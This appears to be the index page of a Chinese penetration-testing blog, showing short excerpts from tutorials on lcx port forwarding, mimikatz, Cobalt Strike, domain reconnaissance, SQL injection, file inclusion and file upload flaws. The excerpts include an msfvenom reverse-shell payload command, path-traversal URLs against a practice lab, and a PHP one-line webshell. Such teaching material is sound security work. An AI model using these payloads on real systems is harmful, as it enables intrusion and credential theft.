Kyon-H Blog

「离开世界之前 一切都是过程」

lcx 端口转发工具使用教程

lcx 端口转发工具

1. lcx 简介 lcx 是一款强大的内网端口转发工具,lcx 端口转发工具用于将内网主机开放的内部端口映射到外网主机 (有公网 IP)任意端口。它是一款命令行工具,当然也可以在有权限的 webshell 下执行,正因如此 lcx 常被认为是一款黑客入侵工具,lcx 端口转发工具在内网入侵渗透中起着重要的角色。lcx 端口转发的原理就是使不同端口之间形成一个回路。它常用于外网连接内网 3...

mimikatz 使用教程

mimikatz

[!NOTE] 项目地址:gentilkiwi/mimikatz: A little tool to play with Windows security 1. 基本介绍 mimikatz 是一款功能强大的轻量级进程调试工具,在安全领域最大的亮点就是他可以直接从 lsass 中获取当前处于 Active 系统的登录密码 2. 基本使用 2.1. 获取本地密码 获取调试权限 ...

Cobalt Strike 使用方法

Cobalt Strike 使用方法

1. Cobalt Strike 简介 Cobalt Strike::C/S 架构的商业渗透软件,适合多人进行团队协作,可模拟 APT 做模拟对抗,进行内网渗透。 其集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe 木马生成,win dll 木马生成,java 木马生成,office 宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java 执行,浏览器自...

域内信息搜集

域内信息搜集

1. 用户权限 1.1. 查看当前用户 1 2 3 whoami # 域名\用户名 # 机器名\用户名 在域中本地普通用户只能查询本机相关信息,不能查询域内信息,而本地管理员用户和域内用户可以查询域内信息。 其原理是:域内的所有查询都是通过域控制器实现的(基于LDAP协议),而这个查询需要经过权限认证,所以,只有域用户才拥有这个权限;当域用户执行查询命令时,会自动使用 Kerber...

Windows 主机信息搜集

Windows 主机信息搜集

1. 前置条件 反弹 shell Kali: 1 2 3 4 5 6 7 msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT= -f exe -o shell.exe msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_t...

内网渗透基础

内网渗透基础

网络安全分类: web安全: 主机安全:提权、root、 内网安全:域、工作组、横向移动、端口转发、代理、持久化 Windows 域(Windows Domain) 是由 Microsoft Windows Server 操作系统所管理的一种网络结构,常用于企业或组织内部。它实现了对网络中用户账号、计算机、权限、安全策略等资源的集中管理与控制。 域控制器(Domai...

SQL注入漏洞

SQL Injection

1. SQL注入分类 按SQLMap中的分类来看,SQL注入类型有以下 5 种: UNION query SQL injection(可联合查询注入) Stacked queries SQL injection(可多语句查询注入) Boolean-based blind SQL injection(布尔型注入) Error-based SQL injection(报错型...

File Include

文件包含漏洞

1. 文件包含伪协议 1.1.1. 直接包含 1 2 http://pikachu.to/vul/dir/dir_list.php?title=../../../../../../../\windows\system32\drivers\etc\hosts http://pikachu.to/vul/dir/dir_list.php?title=../../../../../../win...

File-Upload

File-Upload

1. 文件上传漏洞介绍 几乎每个网站中都会有文件上传的功能,譬如上传头像、视频、压缩包等。网站上传功能点未对客户端上传的文件进行严格的限制和过滤,导致恶意用户将一些恶意的文件或脚本上传到服务器并 url 访问执行,进而达到控制网站的目的,这就是文件上传漏洞。 1.1. 文件上传漏洞前提 能成功上传木马或脚本 知道上传后的路径 上传的木马或脚本能被执行 图片马需要配合文...

总结

总结

1. 常见危险函数 eval () mixed eval ( string $code ) 函数 eval() 语言结构是非常危险的, 因为它允许执行任意 PHP 代码。<?php @eval($_POST['v']);?>—— 常见的一句话木马。 assert() bool assert ( mixed $as...